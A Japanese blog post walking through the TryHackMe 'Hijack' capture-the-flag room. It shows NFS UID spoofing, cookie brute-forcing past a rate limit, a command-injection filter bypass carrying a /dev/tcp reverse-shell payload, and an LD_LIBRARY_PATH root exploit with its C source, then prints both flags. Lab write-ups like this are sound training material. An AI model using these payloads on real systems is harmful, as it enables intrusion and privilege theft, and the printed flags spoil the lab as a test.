1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Hijack:Walkthrough

Last updated at Posted at 2024-07-26

概要

TryHackMe「Hijack」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.20.152 -oN nmap_result
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:ee:e5:23:de:79:6a:8d:63:f0:48:b8:62:d9:d7:ab (RSA)
|   256 42:e9:55:1b:d3:f2:04:b6:43:b2:56:a3:23:46:72:c7 (ECDSA)
|_  256 27:46:f6:54:44:98:43:2a:f0:59:ba:e3:b6:73:d3:90 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Home
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  3          54179/tcp6  mountd
|   100021  1,3,4      32999/udp   nlockmgr
|   100021  1,3,4      45721/tcp6  nlockmgr
|   100021  1,3,4      46650/tcp   nlockmgr
|   100021  1,3,4      53583/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
44002/tcp open  mountd   1-3 (RPC #100005)
46650/tcp open  nlockmgr 1-4 (RPC #100021)
49957/tcp open  mountd   1-3 (RPC #100005)
53388/tcp open  mountd   1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18
111 rpcbind
2049 nfs_acl

80番ポートでWebサイトにアクセスできました。

home.jpg

ディレクトリ列挙を行います。

$ dirsearch -u http://10.10.20.152
[12:00:39] 200 -   51B  - /administration.php
[12:00:54] 200 -    0B  - /config.php
[12:01:19] 200 -  362B  - /login.php
[12:01:20] 302 -    0B  - /logout.php  ->  index.php
[12:01:45] 200 -  387B  - /signup.php

/signup.phpでアカウント作成ができます。

sign up.jpg

Username: test,Password: passwordでアカウント作成をしましたが、悪用できそうな機能は見つかりませんでした。

login test user.jpg

111,2049ポートがオープンしているのでHackTricksで調べるとテクニックが見つかりました。

マウント可能なパスを列挙すると/mnt/shareが見つかりました。

$ showmount -e 10.10.20.152
Export list for 10.10.20.152:
/mnt/share *

Kaliのフォルダにマウントします。

$ sudo mkdir /mnt/Hijack 
$ sudo mount -t nfs 10.10.20.152:/mnt/share /mnt/Hijack -o nolock

パーミッションを確認するとUID1003でアクセス可能でした。

$ sudo ls -la /mnt/      
drwx------  2 1003 1003 4096 Aug  8  2023 Hijack

UID1003のアカウントを作成します。

$ sudo useradd -u 1003 newuser
$ sudo passwd newuser
New password: 
Retype new password: 
passwd: password updated successfully
$ su newuser         
Password: 
$ id
uid=1003(newuser) gid=1003(newuser) groups=1003(newuser)

マウントしたファルダを確認するとfor_employees.txtを見つけました。

newuser@kali:/home/kali/Hijack$ ls -la /mnt/Hijack/
total 12
drwx------ 2 newuser newuser 4096 Aug  8  2023 .
drwxr-xr-x 3 root    root    4096 Jul 26 12:28 ..
-rwx------ 1 newuser newuser   46 Aug  8  2023 for_employees.txt

中にはFTPのクレデンシャル情報が書かれていました。

newuser@kali:/home/kali/Hijack$ cat /mnt/Hijack/for_employees.txt 
ftp creds :
ftpuser:W3stV1rg1n14M0un741nM4m4

FTPに接続します。

$ ftp 10.10.20.152
Connected to 10.10.20.152.
220 (vsFTPd 3.0.3)
Name (10.10.20.152:kali): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

テキストファイルをいくつか発見しました。

ftp> ls -la
229 Entering Extended Passive Mode (|||28837|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 .
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08  2023 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08  2023 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08  2023 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08  2023 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08  2023 .profile
226 Directory send OK.

.from_admin.txtから

  • .passwords_list.txtのどれかがadminのパスワードであること
  • ブルートフォースのレート制限がかかっていること
  • rick,adminというユーザーがいること

が分かりました。

.from_admin.txt
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.

.passwords_list.txtはパスワードのリストになっています。

.passwords_list.txt
Vxb38mSNN8wxqHxv6uMX
56J4Zw6cvz8qDvhCWCVy
qLnqTXydnY3ktstntLGu
N63nPUxDG2ZvrhZgP978

(省略)

実際にブルートフォースでログインを試行するとレート制限に引っ掛かります。

rate limit.jpg

レート制限を回避してadminでログインをします。
/login.phpのPOSTリクエストを確認するとレスポンスで文字列が返ってくることを確認できました。

get cookie.jpg

返ってきたCookieをBase64でデコードすると<username>:hashの形式であると分かりました。

cookie base64 decode.jpg

後半部分のハッシュ値を解析すると、MD5でハッシュ化されたアカウントのパスワードであることが分かりました。

$ john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)

Cookieの値の構成をまとめるとbase64 encode(<username>:md5(password))になります。
なのでこの値形式でパスワードリストをブルートフォースでCookieにセットすれば管理者ページにアクセスできそうです。

Burpで/administration.phpのペイロードを設定します。

set payload.jpg

Payload processingでペイロードのプロセスを設定します。

set option.jpg

ブルートフォースを実行すると、レスポンスサイズが一つだけ違うリクエストを発見しました。

login success.jpg

発見した値をCookieに設定し、 /administration.phpにアクセスできました。

accussess admin.jpg

サービスチェック機能があり、マシン上で動作しているサービスの起動を確認できます。

service checker.jpg

コマンドインジェクションが出来そうなので;で区切るとコマンドインジェクションを検出したエラー文が出力されました。

rce detect.jpg

検出をバイパスできる文字列を勘で探していると&のASCIIコードである%26で区切るとコマンドインジェクションに成功しました。

rce success.jpg

下記のパラメータを送信しリバースシェルを張ります。

service=http%26bash+-c+"sh%20-i%20%3E%26%20/dev/tcp/10.6.55.144/1234%200%3E%261"&submit=

www-dataのシェルを取得できました。

$ nc -lvnp 1234                                           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.20.152] 43016
sh: 0: can't access tty; job control turned off
$ ls
administration.php
config.php
index.php
login.php
logout.php
navbar.php
service_status.sh
signup.php
style.css

TTYを設定します。

$ python -c 'import pty; pty.spawn("/bin/sh")'

config.phpを見るとDBの認証情報が見つかり、これでSSH接続できそうです。

config.php
<?php
$servername = "localhost";
$username = "rick";
$password = "N3v3rG0nn4G1v3Y0uUp";
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli->connect_error) {
  die("Connection failed: " . $mysqli->connect_error);
}
?>

Username: rick,Password: N3v3rG0nn4G1v3Y0uUpでSSH接続に成功しました。

$ ssh rick@10.10.20.152

/home/rick/user.txtからフラグを入手できます。

/home/rick/user.txt
THM{fdc8cd4cff2c19e0d1022e78481ddf36}

A.THM{fdc8cd4cff2c19e0d1022e78481ddf36}

Q2.What is the root flag?

sudo -lで確認します。

$ sudo -l
[sudo] password for rick: 
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

env_keep+=LD_LIBRARY_PATHの項目に関する脆弱性以前TryHackMeで見たのでテクニックを探すと見つかりました。
下記サイトを基にコマンドを実行します。

Kaliにpe.cを作成します。

pe.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

ターゲットマシンでpe.cをダウンロードします。

$ cd /tmp
$ wget http://10.6.55.144/pe.c

コンパイルし、sudoでコマンドを実行するとrootシェルを取得できました。

$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC pe.c
pe.c: In function ‘hijack’:
pe.c:8:1: warning: implicit declaration of function ‘setresuid’ [-Wimplicit-function-declaration]
 setresuid(0,0,0);
 ^
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)
root@Hijack:/tmp# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{b91ea3e8285157eaf173d88d0a73ed5a}

A.THM{b91ea3e8285157eaf173d88d0a73ed5a}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?